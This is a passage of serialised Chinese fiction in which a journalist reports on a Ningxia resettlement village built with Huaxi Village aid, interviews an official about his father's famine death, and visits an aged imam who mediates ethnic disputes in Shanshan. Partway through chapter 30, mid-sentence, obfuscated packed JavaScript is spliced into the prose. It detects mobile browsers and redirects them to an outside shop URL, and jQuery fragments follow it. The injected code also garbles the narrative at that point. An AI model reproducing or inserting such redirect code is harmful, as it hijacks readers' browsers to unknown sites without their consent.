小刘打开收音机，调到一个蒙古语频道。长调歌声流淌出来，悠远，苍凉，像一条看不见的河，在车厢里，在草原上，在时间中，无声奔流。 叶葆启看着前方。公路笔直地伸向天际线，仿佛没有尽头。他知道，这次采访还会遇到很多事，拍到很多照片，写下很多文字。但成陵的这一章，会像那枚贴在胸口的石头，一直硌在那里，提醒他关于醉与醒、看见与被看见、记录与超越的永恒辩证。 越野车继续西行，扬起淡淡的尘土。尘土在阳光中悬浮，久久不落，像是大地轻轻呼出的一口气息，在述说着那些未被言说、但始终存在的故事。 30. 第030章 黄土腹地的江南枝桠 越野车像一头疲惫的铁兽，在黄土的脊背上喘息前行。叶葆启把脸贴在车窗上，玻璃微震着，将窗外那些沟壑纵横的土地切割成颤动的碎片。这里的土不是土，是凝固了千年的贫瘠——据说一把攥下去，能在指缝间听见汉代征人的呜咽，明代流民的叹息，还有民国十八年旱魃经过时留下的、干裂如陶俑唇纹的哭泣。 西海固。这三个字在他舌头上滚过，带着砂砾的质感。 “最不适宜人类生存的地区之一。”摄影师突然开口，声音在车厢里闷闷的，“联合国的人来过，带着仪器和悲悯，量了降水量，算了蒸发量，最后在报告上写下这行字。可他们没量过这里人心脏的韧度。” 叶葆启看见一个老汉在坡地上赶驴。驴瘦得能数清肋骨，老汉的脊背弯成与地平线平行的弧。他们缓慢移动，在漫天的黄尘里，像一幅被时间遗忘的壁画。忽然，那老汉停下，朝他们的车望来。距离太远，看不清表情，但叶葆启莫名觉得，那眼神是烫的——烫过这片土地上所有冷却的苦难。 “快到了。”向导小马指着前方，“宁夏的华西村。” 话音落下时，道路忽然变了。 就像有人用橡皮擦去了黄土的咒语，一条水泥路毫无预兆地铺展开来，平坦得近乎傲慢。路两旁，白墙红瓦的房舍整齐列队，像是在接受检阅。最扎眼的是那些温棚——无数个透明隆起，在西北悍烈的阳光下泛着油脂般的光，棚内翻涌着不合时宜的绿，那绿太饱满、太嚣张，像是从江南水乡偷渡来的魂魄，硬生生塞进了黄土的胸膛。 叶葆启摇下车窗。风的味道变了。不再是干土和蒿草苦涩的气息，而是混着湿泥、腐殖质和某种瓜果将熟未熟的清甜。他眨了眨眼，怀疑自己是否在颠簸中睡去，跌进了一个过于逼真的梦。 马焕程在村口等他们。这个四十多岁的回族汉子，皮肤是黄土高原用风沙反复鞣制出的深褐色，皱纹的走向记录着每一场干旱的年份。但他伸出手时，叶葆启注意到那手掌出奇的厚实温暖，指甲缝里还嵌着新鲜的泥——这不是一双只拿文件的手。 “欢迎。”马焕程的笑声很实，砸在地上能听见回音，“路上看见了吧？咱们这儿，是西海固的‘叛徒’。” 他用的词让叶葆启一怔。 “叛离了穷，叛离了旱，叛离了命。”马焕程转身带路，脚步踩在水泥路上，发出清脆的响声。他走路时，叶葆启恍惚看见他身后拖着三个淡淡的影子：一个佝偻，是祖辈在窑洞里蜷缩的形状；一个摇晃，是父亲挑着空水桶翻山越岭的轮廓；第三个却是笔直的，甚至有些发烫——那是温棚塑料膜反射的阳光，在他身上镀的一层光边。 村委会的墙上挂着地图。不是行政区划图，而是一张手绘的迁徙图。粗重的箭头从那些被标注为“陡坡村”“旱沟梁”“狼刨泉”的地方射出，最终汇向这个用红圈标出的点。 “以前住在这些地方。”马焕程的手指划过那些地名，指肚上厚厚的茧摩擦着纸面，发出沙沙的声响，“吃水要到三十里外去驮，一盆水，先洗脸，再洗脚，最后喂牲口。娃娃们上学，天不亮就得出门，踩着月亮走，踩着星星回。那年我婆姨生老大，难产，四个汉子抬着门板往卫生院跑，跑到一半，没气了。” 他说得很平，像在讲别人的事。但叶葆启看见他喉结滚动了一下，很慢，很重，像是咽下了一块棱角分明的石头。 变化始于1996年秋天。马焕程形容那天的场景时，语言突然变得奇异起来：“那天本来刮着黄风，天和地像是被一锅煮糊的小米粥糊住了。忽然风停了，云裂开一道缝，三辆小轿车从缝里钻出来，车身上全是泥点子，像长了麻子的铁甲虫。” 来的是华西村的老书记吴文海和他的队伍。那个戴鸭舌帽的江南老汉，站在山梁上看了很久。风把他稀疏的白发吹得竖起来，像一蓬燃烧的芦苇。他忽然蹲下，抓起一把土，放在鼻尖闻，又伸出舌尖舔了舔。 “他舔了土！”马焕程的眼睛在那一刻亮得骇人，“然后他说：‘这土是苦的，但苦土最养人。能在这里活下来的人，骨头上都刻着“耐”字。现在，咱们得给这个“耐”字，旁边加上一个“富”字。’” 吴文海临走前，在村口的土崖上埋下一把稻谷——江南的稻谷，在这片从未长过水稻的土地里。这是个仪式，马焕程理解。后来破土动工时，他们真的挖到了那些谷子，已经腐烂了，但腐烂的缝隙里，竟然冒出了几星怯生生的绿芽。 “那是幻觉。”马焕程摇摇头，“我们都知道。可施工的汉子们，那天干活特别狠，像是在和什么看不见的东西较劲。” 马新玉家的温棚有半亩大。走进去的瞬间，叶葆启被一股汹涌的、潮湿的暖意包裹了。空气稠得能划出痕，西红柿的藤蔓沿着吊线疯狂攀爬，果实累累甸甸，红得像要滴下血来。辣椒们则绿得发黑，沉静地悬挂着，像倒垂的匕首。 “以前在山里，种一坡地，收一麻袋麦子，瘪的，一搓就剩层皮。”马新玉说话时不停搓手，那双手关节粗大，指甲缝却是干净的——温棚里的劳作，不染风尘，“现在这两个棚，去年卖了两万三。两万三啊，我婆姨数钱时手抖，数了五遍。” 他的妻子，那个叫法图麦的女人，正蹲在垄间掐侧枝。她戴着头巾，阴影遮住上半张脸，只露出鼻尖以下的部分。当她抬头回答叶葆启的问题时，他看见她嘴角有两道深深的纹路——那不是衰老的纹，是常年紧抿嘴唇留下的、类似于陶器开片的细裂。 “以前在山里，最怕娃娃生病。”法图麦的声音很低，但每个字都咬得很清楚，像在背诵一篇重要的证词，“半夜发烧，只能给他喂灶灰水。现在卫生所就在村东头，李大夫是从银川来的，听诊器冰得很，娃娃一哆嗦。” 她说到这里，忽然停下，手指无意识地捻着一片西红柿叶子。叶葆启顺着她的目光看去，透过塑料膜模糊的光影，能看见远处新建的小学教学楼，楼顶的国旗在风里舒卷。 “娃娃现在说普通话。”法图麦轻轻说，“回家来，教我：‘妈，这不是西红柿，是番茄。这不是馍，是馒头。’”她笑了，那笑容从嘴角的裂纹里渗出来，让整张脸突然变得柔软，“我说，你教我这个做啥？她说，以后去外面，要说得和别人一样。” 叶葆启在笔记本上写：“移植，不仅是作物，还有语言，还有对世界的想象。” 当晚他们住在村委会的客房里。深夜，叶葆启被尿憋醒，起身去院角的旱厕。经过温棚区时，他忽然听见一种声音——低低的、持续的嗡鸣，像是无数细小的舌头在舔舐黑暗。 他站住，仔细听。是温棚。 塑料膜在夜风里微微鼓荡，发出叹息般的窸窣；支架的金属接口因温度变化轻轻“咔”响；更深处，是植物生长的声音——细胞分裂、汁液流动、根系在潮湿的基质里隐秘地扩张。所有这些声音交织在一起，变成了这片土地从未有过的呓语。 一个佝偻的身影在不远处亮起一点红光。是马焕程在抽烟。 “睡不着？”叶葆启走过去。 “习惯了。每晚得来转转，听听它们呼吸。”马焕程把烟递过来，叶葆启摆摆手，他也没勉强，深深吸了一口，烟头猛亮，照亮他半张脸，“有时候觉得，这些棚子不是棚子，是肺——给西海固换的新肺。” 沉默了一会儿，他突然说：“你知道吗？最开始建棚时，好多老人不肯进。说这里面太闷，味道太‘生’，闻着头晕。有个马阿爷，蹲在棚口哭，说他一辈子没闻过这么浓的绿味，害怕。” “后来呢？” “后来他孙子在棚里种出了第一茬黄瓜。娃娃把黄瓜摘下来，直接塞到他手里。老爷子盯着那根带刺的、碧绿的东西，看了足足一炷香时间，然后慢慢抬起手，咬了一口。嚼着嚼着，眼泪就下来了。他说：‘甜的，是甜的。’” 马焕程弹掉烟灰：“那以后，老人常拄着拐杖来棚边晒太阳。不进去，就坐在棚外，隔着塑料膜看里面。他们说，看着那些绿影子晃啊晃的，心里踏实。” 村东头的清真寺是新建的。样式很奇特——穹顶是传统的绿色新月，但墙体用了江南常见的白墙黛瓦元素，拱门上的砖雕，既有阿拉伯纹样，又融进了莲花和流水图案。 “华西来的设计师画的图。”马焕程抚摸门廊的立柱，“吴老书记说，既要现代化，又得守住根本。他们专门从南京请了懂□□建筑的专家，还让我们的阿訇去苏州看园林。” 礼拜时间到了。男人们从温棚里、从村委会、从修车铺走出来，脱下沾泥的外套，换上洁净的白帽，沉默地走向清真寺。脚步踏在水泥地上，发出整齐的、潮水般的声响。叶葆启站在远处，看见那些背影——有的微驼，是黄土塑造的曲线；有的笔挺，带着新生活的硬度。他们汇聚在寺门前，像无数条溪流归入同一条河。 晚霞正在西天燃烧。天空呈现一种诡异的层次：靠近地平线是熔金的赤红，向上渐变成橘黄、淡紫，最高处却还顽固地守着高原特有的、毫无杂质的靛蓝。就在这时，叶葆启看见了月亮。 不是一枚，是两枚。 一枚真实的、淡白的月，已经悄然悬在东边的天空；另一枚是清真寺穹顶上那弯新月的倒影，被夕阳的余烬点燃，在深绿的琉璃上泛出温润的金光。真实与象征，在此时此地，达成了某种短暂的和解。 阿訇的唤拜声响起。悠长、苍凉，却又奇异地充满了力量。那声音拂过温棚的塑料膜，拂过小学的旗杆，拂过家家户户门楣上崭新的门牌号，最后融进渐渐浓稠的暮色里。 “知感主。”马焕程轻声说，“给我们苦难，也给我们出路。” 那晚的座谈会在小学教室举行。日光灯管发出稳定的嗡鸣，孩子们画的水彩画贴在墙上——画上有红色的房顶，绿色的温棚，还有黄色的、笑眯眯的太阳。一个女孩给太阳画了睫毛。 村民们说话时，叶葆启注意到一个细节：他们不再说“我们山里人”，而说“我们华西村的”。这个前缀的改变，轻微却致命。它像一根针，将新的身份缝进了旧的血肉。 得到自治区领导马宇文的采访许可，是个意外。按程序层层上报时，叶葆启已经做好了石沉大海的准备。但三天后，电话来了，声音平稳：“领导明天下午三点有空，二十分钟。” 他们提前一小时到政府大院。楼很旧，墙上的爬山虎枯了一半，另一半还在挣扎着绿。秘书引他们进办公室时，马宇文正在窗边看文件。听见声音，他转过身来——个子不高，面容清癯，戴一副老 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16904182|192343||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 式眼镜，镜片后的眼睛却亮得惊人。 “坐。”他指了指沙发，自己也在对面坐下，“喝点我们宁夏的枸杞茶，补补眼睛，你们记者费眼。” 茶是暗红色的，枸杞在杯底缓缓旋转，像小小的、沉睡的火焰。 采访开始很常规。但当叶葆启问到华西村模式能否复制时，马宇文放下茶杯，身体微微前倾。这个动作让办公室的空气突然变了密度。 “复制？”他重复这个词，手指无意识地敲着膝盖，“不，不是复制。是移植——而且是带土移植。华西村带来的不只是技术、资金，是一种‘活着’的方法论。你们注意到没有？那里的温棚，夜间温度比我们传统方法高两度。就这两度，西红柿能早熟七天，价钱就能翻一番。” 他站起来，走到墙上的宁夏地图前。地图上的西海固地区，被用红笔圈出了十几个点。 “每个点，都是一次实验。”他的手指划过那些圆圈，“有的种枸杞，有的养滩羊，有的搞光伏。华西村是起点，不是终点。我们要做的，是让这些点连成线，线铺成面。让整个西海固，不再是一个被定义的‘不适宜’，而是一个正在被书写的‘可能性’。” 说到这里，他忽然顿了顿，看向窗外。院子里，一棵老槐树正在落叶，叶子旋转着下落，像慢放的黄金雨。 “我父亲是西海固人。”马宇文的声音低了下来，“1960年，他背着我，走了四天四夜，到黄河边找吃的。我那时五岁，只记得他背上的骨头硌得我生疼。后来他找到半个冻硬的南瓜，自己舍不得吃，全喂给了我。我问他：‘爸，你饿不？’他说：‘不饿，我喝了黄河水，管饱。’” 他转回身，镜片上有反光，看不清眼神：“那天他喝了一肚子冷水，晚上就起了烧，三天后没了。临终前他拉着我的手说：‘娃，以后要是有谁能让这块土地长出吃饱的粮食，你要给人家磕头。’” 办公室里静极了，能听见日光灯管轻微的电流声。 “所以，”马宇文坐回沙发，端起已经凉了的枸杞茶，一饮而尽，“我不感谢华西村，我感谢这个时代——终于到了可以不靠喝冷水充饥的时代。” 原定二十分钟的采访，持续了一小时十七分钟。结束时，马宇文主动和每个人握手。握到叶葆启时，他多停了两秒：“记者同志，写的时候，别光写成绩。写写那些还没解决的——温棚的塑料膜三年一换，成本怎么降？蔬菜集中上市时的销售压力怎么办？年轻人还是想往城里跑……把这些也写进去。真实的希望，是知道难处还在，但还是敢往前走。” 离开那天下起了小雨。雨丝很细，落在黄土上，瞬间就被吸干了，只留下深色的斑点，像是大地刚刚哭过。 村民们来送行。马新玉拎来一塑料袋西红柿，个个饱满通红：“路上吃，没打药。”法图麦默默塞给女记者一条手工绣的花头巾，图案是牡丹和葡萄藤缠在一起——西北和江南的意象，怪异地和谐着。 马焕程最后过来，他没带东西，只是握了握每个人的手。握叶葆启时，他低声说：“你笔记里写的那句，我看见了——‘移植的不仅是作物，还有对世界的想象’。写得好。” 车启动了。透过雨迹斑驳的后窗，叶葆启看见那些白墙红瓦的房屋在倒退，那些温棚在倒退，整个村庄在黄土的海洋里，像一艘正在缓缓下沉的、绿色的方舟。马焕程的身影越来越小，最后变成一个黑点，凝固在村口的石头上。 开出十几公里后，雨停了。太阳破云而出，光线猛烈如斧，将天地劈成明暗两半。叶葆启忽然让司机停车。 他下车，走回一个高坡。从这里回望，华西村已经看不见了。眼前只有无尽的、沟壑纵横的黄土高原，在雨后蒸腾起淡淡的、金色的雾气。风从更深的西边吹来，带着祁连山雪水的寒意，也带着毛乌素沙地沙粒的粗糙。 但就在这风里，叶葆启分明闻到了什么——一丝微弱的、执拗的、西红柿叶子被揉碎后的清冽气息。它不该出现在这里，但它就在这里，缠绕在每一粒飞过的尘埃上，附着在每一缕掠过的风里。 他蹲下，抓起一把土。土是湿的，在手心微微发粘。他仔细看，在土褐色的颗粒间，发现了一点不一样的东西：极细小的、几乎看不见的绿色纤维。可能是风吹来的草屑，也可能是温棚里飘出的塑料膜碎屑。 但叶葆启宁愿相信，这是种子。是那些江南来的稻谷腐烂后，魂魄未散，化成更微小的形态，开始在这片苦土里，进行一场静默的、浩大的殖民。 他松开手，让土从指缝流回大地。然后站起身，拍了拍手。 上车前，他最后看了一眼西方。更辽阔的甘肃、更神秘的青海、更遥远的西域古道，都在那里等待着。但此刻，他心中那片曾经干燥皲裂的版图上，已经有了一个湿润的、绿色的坐标。 车重新发动。叶葆启打开笔记本，在新的一页上写下标题： 《黄土腹地的江南枝桠——一个村庄的魔幻现实与两种命运的嫁接术》 他写得很慢，每一个字都像在夯土，要夯进纸的深处。窗外，黄土高原继续展开它无边无际的褶皱，像是大地的脑回沟，正在思考一个关于重生的问题。而他们的车，正朝着那些思考的深处，一路碾进去。 31. 第031章 大同心寺的老阿訇 越野车像一只疲倦的甲虫，在祁连山北麓的褶皱里缓慢爬行。驶出甘肃地界时，叶葆启摇下车窗，探出手去，仿佛能摸到省界线上那层看不见的膜——干燥的空气突然变得锐利，像无数细小的玻璃碴子刮擦着皮肤。 戈壁滩在视野尽头铺展开来，那是一片被烈日煮沸的土地。热浪从地底升起，扭曲着远处的景物，骆驼刺在蒸腾的空气中跳舞，跳着一种濒死的、癫狂的舞蹈。张记者眯起眼睛，说这热浪能把人的眼珠子烤成葡萄干。叶葆启没接话，他正盯着地平线上那一抹流动的赭红色——那是被风卷起的尘土，在天地间拉出一道血色的帷幕。 进入西部境内，第一个目标是哈密。但叶葆启的心思早已飞向东南方向的吐鲁番盆地。在他的采访本上，用红笔圈着一个地名：鄯善县，大同心寺。旁边用铅笔小字注着：“阿里木·卡德尔阿訇，八十七岁，任职六十载，被誉为‘活着的和解之书’。” 吐鲁番的火焰山果真名不虚传。车子驶近时，叶葆启恍惚觉得那山在呼吸——山体泛着暗红色，像巨兽冷却的肝脏，山脊在热浪中微微起伏。当地人讲，当年孙悟空借芭蕉扇的故事就发生在这里。叶葆启想，若真有那场大火，烧了五百年也未熄灭，那这山体里定还埋着三昧真火的余烬。他伸手触摸路边的岩石，烫得缩回手，指尖留下淡淡的白色印记，像被什么看不见的东西咬了一口。 坎儿井的地下渠道里，却是另一个世界。沿着石阶往下走，温度一层层降下去，最后抵达那片阴凉时，耳膜会突然嗡鸣——那是地底水流的声音，混杂着千年来的窃窃私语。导游是个脸颊红扑扑的维吾尔族姑娘，她说这些地下水道是祖先用指甲和牙齿抠出来的。“有时候夜深人静，”她神秘地压低声音，“还能听见下面传来叮叮当当的凿石声，那是祖先们还在工作呢。” 叶葆启蹲下身，将手浸入渠水。水极凉，凉得刺骨。他忽然产生一个古怪的念头：这水流经地底时，是否携带着古代匠人的汗水和祈祷？是否每一滴水珠里，都压缩着一小片黑暗和一份坚持？ 葡萄沟倒是甜的，甜得发腻。八月的葡萄架下，果实累累，紫的像凝固的血，绿的像翡翠眼泪。一位满脸皱纹如干核桃的老妇人坐在藤椅上，用缺了牙的嘴慢慢咀嚼葡萄。她递给叶葆启一串：“吃吧，孩子，这里的葡萄吃了不说谎。”叶葆启接过，汁液在口中爆开，那甜味如此浓烈，竟带着一丝苦尾——就像这片土地的记忆。 风电场的景象却颇具超现实意味。巨大的白色叶片在热风中缓慢转动，像巨人的手掌在空气中划着什么符咒。光伏板阵列铺展开来，一眼望不到边，在烈日下反射着刺眼的白光。叶葆启站在阵列边缘，感到自己渺小如蚁。这些沉默的科技造物与古老的土地形成奇异对话——风还是千年前吹过丝绸之地的风，光还是烤焦玄奘袈裟的光，只是如今它们被捕捉、驯服，转换成电流，点亮遥远的城市。 但叶葆启心中始终悬着那个名字：大同心寺。在招待所的夜晚，他辗转难眠。窗外是西部深邃的夜空，星子低垂，仿佛一伸手就能摘下一把。远处不知谁家在弹奏都塔尔，琴声呜咽，如泣如诉。那旋律钻进耳朵，在脑海里盘旋，渐渐幻化成一些模糊的画面：沙漠中的驼队，蒙面纱的女子，清真寺穹顶上的新月被风沙磨得锃亮。 凌晨时分，他爬起来记录这些破碎的印象。笔记本的纸页在台灯下泛着微黄，钢笔尖划过纸面，发出沙沙声，像春蚕啃食桑叶。他写道：“在这片土地上，每一个故事都至少有两层：表面的是日光下的现实，底下的是月光里的记忆。好记者应当学会同时倾听这两个版本。” 抵达鄯善县城已是傍晚。夕阳把城墙染成橘红色，城墙的影子拉得很长，像躺倒的巨人。街边烤馕的炉火已经点燃，麦香混合着炭火气，在空气中织成一张温暖的网。卖哈密瓜的小贩用生硬的汉语吆喝：“甜过初恋！不甜不要钱！” 县里干部赛达尔·库尔班是个精干的维吾尔族汉子，四十来岁，眼睛亮得像戈壁夜空里的星。他说话时喜欢用手势，手指修长，动作优雅。“叶记者，”他郑重地说，“大同心寺不是普通的寺庙。它是活的，会呼吸，有记忆。买买提阿訇也不是普通的人——他是这片土地的良心。” 次晨出发前，叶葆启特意换了件干净的浅色衬衫。张记者检查相机设备，电池充满，内存卡清空，镜头擦拭得一尘不染。小刘在车上备足了水：“听说寺里规矩多，咱们可不能失礼。” 车子驶入维吾尔族聚居区。巷子狭窄曲折，土坯房屋肩挨着肩，像一□□头接耳的老人。葡萄藤从这家院墙爬到那家，紫红色的果实垂下来，路人伸手可摘，却无人去摘。孩子们在巷子里追逐嬉戏，见到车子，纷纷停下，睁着大眼睛好奇地张望。他们的眼珠极黑，黑得像深井，映出越野车的倒影。 大同心寺出现在巷子尽头时，叶葆启心头微微一震。 它没有想象中宏伟，土黄色的墙体被岁月剥蚀出深浅不一的斑纹，像老人手上的寿斑。穹顶上的新月标志却是崭新的，在湛蓝天空下闪着银光。寺门是厚重的木门，门板上的纹路扭曲盘旋，似文字非文字，似图案非图案。叶葆启凑近细看，才发现那是无数个手掌印重叠而成的——历代信徒进门时都会按一下门板，积年累月，木头记住了每一只手掌的温度和纹路。 赛达尔·库尔班轻声提醒礼仪事项。他的声音压得很低，仿佛怕惊扰了什么。叶葆启点头，脱鞋时格外小心，袜子有个小洞，他下意识缩了缩脚趾。 院里的老榆树堪称奇迹。树干需三人合抱，树冠如巨伞撑开，投下的阴凉覆盖半个院落。树干上系着许多彩色布条，在微风中轻轻飘动。赛达尔·库尔班说，这些都是许愿布，有求健康的，有求姻缘的，有求子孙平安的。“这棵树有三百岁了，”他抚摸着粗糙的树皮，“买买提阿訇说，它听过清朝的钟声，见过马队的烟尘，如今又在听孩子们的读书声。” 老阿訇坐在廊下的地毯上。 第一眼看到他，叶葆启想起博物馆里见过的一尊唐代木雕——线条简练，质感温润，岁月把棱角磨圆了，却磨不掉内在的精神。阿里木·卡德尔阿訇须发皆白，白得像祁连山顶的终年积雪。他戴白色礼拜帽，穿素色长袍，盘腿坐着，背挺得笔直。手中握着一串磨得发亮的念珠，手指缓缓拨动，珠子相碰发出细碎的声响，像雨滴落在铜盘上。 他正在诵经。声音不高，却有种奇特的穿透力，每个音节都圆润饱满，在院子的空气中缓缓滚动。叶葆启听不懂经文内容，却能感受到那声音的质地——它不像从喉咙发出，倒像从胸腔深处、从更深的什么地方涌上来，经过八十七年光阴的过滤，变得清澈而厚重。 赛达尔·库尔班上前低声说明来意。老阿訇听着，眼睛半闭，念珠仍在指间流动。然后他抬起眼帘。 叶葆启从没见过那样的眼睛。瞳孔是深褐色的，边缘有一圈淡淡的金环，像日蚀时光球周围的光晕。眼白有些泛黄，布满细密的血丝，那是长年熬夜诵经、在油灯下阅读的痕迹。但眼神清澈得出奇，看人时，仿佛能穿透皮肉，直接望见骨髓里的念头。 “记者同志，远道而来，辛苦了。”老阿訇开口，汉语带着浓重的口音，每个字都咬得很实，像把石子一颗颗摆在面前，“请坐。” 众人席地而坐。地毯是手工织的，图案繁复，红色为主调，间以金色和蓝色的花纹。叶葆启盘腿时有些不习惯，老阿訇看见了，微微一笑：“像骑骆驼，找到那个节奏就好了。” 小刘留在院外车上。从敞开的寺门能看到他靠在驾驶座上打盹，帽子盖着脸，胸口随呼吸微微起伏。一只花猫跳上引擎盖，在他腿边蜷成一团。这个画面莫名让叶葆启心安——内与外，神圣与世俗，就这样被一扇门温和地隔开，又微妙地连接。 采访开始了。 叶葆启首先表达敬意，说明来意。老阿訇静静听着，手指仍在拨动念珠。等叶葆启说完，他没有立即回应，而是抬头望了望榆树冠隙间洒下的光斑。那些光斑在地毯上跳动，像一群金色的小鱼。 “如是说……”他缓缓开口，诵出一段阿拉伯语经文，然后翻译成汉语，“‘众人啊！我确已从一男一女创造你们，我使你们成为许多民族和宗族，以便你们互相认识。’” 声音在院子里回荡。有风吹过，榆树叶沙沙作响，仿佛在应和。系在树上的许愿布条舞动起来，彩色的影子在地面上交织。 “互相认识，”老阿訇重复这四个字，每个字都咬得很重，“不是互相打量，不是互相猜疑，是真正地认识——认识你的痛苦，你的欢乐，你为什么笑，为什么哭，为什么在深夜叹息。” 他讲起寺里的“团结讲堂”。每月一次，不同民族的人坐在这张地毯上，喝同样的茶，吃同样的馕。开始大家拘谨，腰板挺直，双手放在膝盖上。后来慢慢松弛，有人盘起腿，有人靠上柱子。再后来，开始分享故事——回族老人讲当年走西口的艰辛，维吾尔族青年说创业的挫折，汉族教师谈双语教学的趣事。 “故事是有温度的，”老阿訇说，“一个故事能融化十座冰山。” 有一次调解邻里纠纷。两家孩子打架，一家是维吾尔族，一家是汉族。家长各执一词，情绪激动，都觉得自己孩子受了委屈。老阿訇没有立即评判，而是让两个孩子坐在地毯中央，问他们：“打架的时候，你在想什么？” 维吾尔族男孩抽泣着说：“他骂我爸爸是卖假羊肉串的。” 汉族男孩红着脸反驳：“我没说！我说的是上次吃的羊肉串有点咸。” 原来是一场误会。语言上的细微差异，加上孩子们的好胜心，演变成拳脚相向。老阿訇让两个孩子拥抱和解，然后对家长说：“你们看，孩子的仇恨来得快，去得也快。大人的仇恨为什么难消除？因为大人往简单的事情里加了太多东西——加了面子，加了猜疑，加了‘他们肯定如何如何’的成见。” 他从长袍内袋掏出一个褪色的笔记本，翻到某一页，递给叶葆启看。页面上用维吾尔文、汉文双语工整地写着：“调解记录：第347例。事由：院墙边界纠纷。调解原则：1.依据古训‘你们应当公正’的教导；2.遵循国家《物权法》相关规定；3.兼顾邻里情谊和长远和睦。结果：各退十五厘米，空出三十厘米作为‘友谊通道’，共同种植葡萄一株。” 叶葆启抚摸着纸页。纸张已经脆黄，边缘起毛，墨迹有些晕染。他能想象老阿訇在油灯下记录的样子——佝偻着背，鼻梁上架着老花镜，一笔一画，认真如小学生。 “这棵葡萄现在长得很好，”老阿訇微笑，“夏天结的果，两家平分。甜的归孩子，酸的我们老人泡茶喝。有酸有甜，才是生活。” 每逢传统节日，寺庙会组织慰问孤寡老人。老阿訇特别强调：“不分民族，不分信仰。”有一次去一位汉族孤老家，老人卧床多年，屋里气味难闻。年轻志愿者们有些犹豫，站在门口踌躇。老阿訇第一个走进去，自然地坐在老人床沿，握着他的手问最近身体如何。后来志愿者们说，那一刻，他们看见的不是一位阿訇，而是一个普通的、慈悲的老人。 “信仰应当在手上，在脚下，在擦洗地板的水盆里，在递给孤老的那碗热茶里，”老阿訇说，“不在高高在上的讲坛上。” 寺里的经文学校也很有特色。除了教授宗教知识，还开设国家通用语言课、数学课、科学常识课。老阿訇亲自编写教材，“比如‘爱国是信仰的一部分’，”他举例，“我会告诉孩子们：爱护你生长的村庄，爱护流淌过村庄的河流，爱护给你馕吃、给你衣穿的国家，这就是爱国的开始。爱国不是空洞的口号，是你对脚下每一寸土地的责任。” 叶葆启飞快地记录。笔尖在纸上沙沙作响，像春蚕啃食桑叶。他感到自己不仅在记录言语，更在吸收一种智慧——一种在这片特殊土地上生长出来的、兼具信仰高度和现实温度的智慧。 他问出那个酝酿已久的问题：“阿訇，您觉得这些年，最大的变化是什么？” 老阿訇没有立即回答。他望向院门外的街巷。正午的阳光泼洒下来，把土坯墙照得发白。几个维吾尔族妇女走过，彩色裙摆在阳光下闪烁如孔雀翎。远处传来摩托车的引擎声，那是邮递员在送快递——如今连这个偏僻的小城也有了电商。 他看了很久，久到叶葆启以为他忘了问题。然后他缓缓开口，声音里有一种深沉的温柔： “最大的变化？是人心落地了。” “早些年，人心是悬着的，像没系稳的风筝，一阵风就能吹跑。担心明天有没有饭吃，担心孩子能不能上学，担心生病了怎么办。人心悬着的时候，就容易听信各种话，好的也听，坏的也听，因为悬着的心需要抓住点什么。” “现在你看，”他指着街巷，“路修好了，电通了，自来水接到了灶台边。孩子们上学不要钱，老人看病能报销。年轻人不用去远方，家门口就有活干。葡萄能卖出去，馕能烤得更香。人心就慢慢落下来了，落到实实在在的生活里。” “人心落在生活里，根就扎得深。根深了，就不怕风吹。那些挑拨离间的话，就像风吹过密林——听着响动大，其实伤不了根本。因为人人心里都明白：好日子不是吵出来的，是干出来的；团结不是喊出来的，是一天天处出来的。” 他忽然起身，动作有些迟缓——毕竟八十七岁了。叶葆启想去扶，老阿訇摆摆手，自己撑着柱子站起来，走到寺墙边。墙是土坯砌的，墙面粗糙，留着工匠手掌的印痕。墙头长着一丛耐旱的野草，在热风中轻轻摇曳。 墙的另一侧，是汉族邻居李老汉的家。两家的院墙挨着，共用一道墙，真正是“一墙之隔”。墙根处有个小洞，不大，拳头大小。 老阿訇蹲下身，指着那个洞：“你看这个。” 叶葆启凑过去看。洞里黑黝黝的，隐约可见对面院子的光。 “这不是老鼠洞，”老阿訇微笑，“是我们特意留的。早年没有电话，两家有什么事，就趴在这个洞口传话。李老汉的老伴病了，他趴这边喊：‘买买提大哥，能不能借点冰糖？熬药要用。’我就从这边递过去。我家孙子发高烧，我趴这边喊：‘李老弟，有没有退烧药？’他就递过来。” “后来条件好了，装了电话，但这个洞没堵上。过年他们包饺子，从洞口递过来一碗；古尔邦节我们炸馓子，也递过去一盘。有时候什么也不递，就是趴着聊聊天——他讲讲儿子在乌鲁木齐的工作，我说说孙子在学校得的奖状。” 老阿訇的声音越来越轻，像在说一个珍贵的秘密： “这个洞很小，但能穿过一碗饺子，能穿过一包药，能穿过几十年的交情。记者同志，你说，那些想把我们分开的人，他们懂这个洞吗？” 叶葆启喉咙发紧，说不出话。他蹲在那里，看着那个不起眼的小洞，忽然觉得它比任何宏伟的建筑都更有力量。这是民间的智慧，是生活本身创造的奇迹——在坚硬的墙上开一个小孔，让温暖得以流通。 这时，礼拜时间将至。 先是远处传来悠长的唤礼声。那声音从另一个清真寺的宣礼塔传来，穿过密集的民居，越过葡萄架，飘进大同心寺的院子。声音在空中颤动，像一只巨大的、透明的鸟在盘旋。 老阿訇凝神倾听，嘴唇微微嚅动，仿佛在与那声音应和。然后他转向叶葆启：“记者同志，我要去主持礼拜了。如果你们想记录，可以在殿外，但请保持安静。闪光灯会惊扰虔诚的心，而心一旦受惊，就像受惊的鸟儿，很难再唤回。” 叶葆启郑重承诺：“您放心，我们只远远记录，绝不打扰。” 老阿訇点点头，转身向大殿走去。走得很慢，但步伐稳健。白袍的下摆轻轻拂过地面，像一片云低低飘过。 人们开始陆续到来。他们从各个巷口走出，沉默地走进寺院。有满脸皱纹的老人，拄着拐杖，走一步喘一口气；有壮年男子，手掌粗糙，指甲缝里还留着干活的黑泥；有少年，脸上长着青春痘，眼神清澈又略带羞涩。他们彼此点头致意，但不说话，仿佛在进入一种共同的、庄严的准备状态。 脱鞋时，他们都面朝大殿，动作缓慢而恭敬。鞋子在殿外摆得整整齐齐，像一队安静的士兵。然后赤脚走进殿内——那些脚板有的宽厚，有的瘦削，有的布满老茧，有的还显稚嫩，但此刻都平等地踏上光洁的地毯。 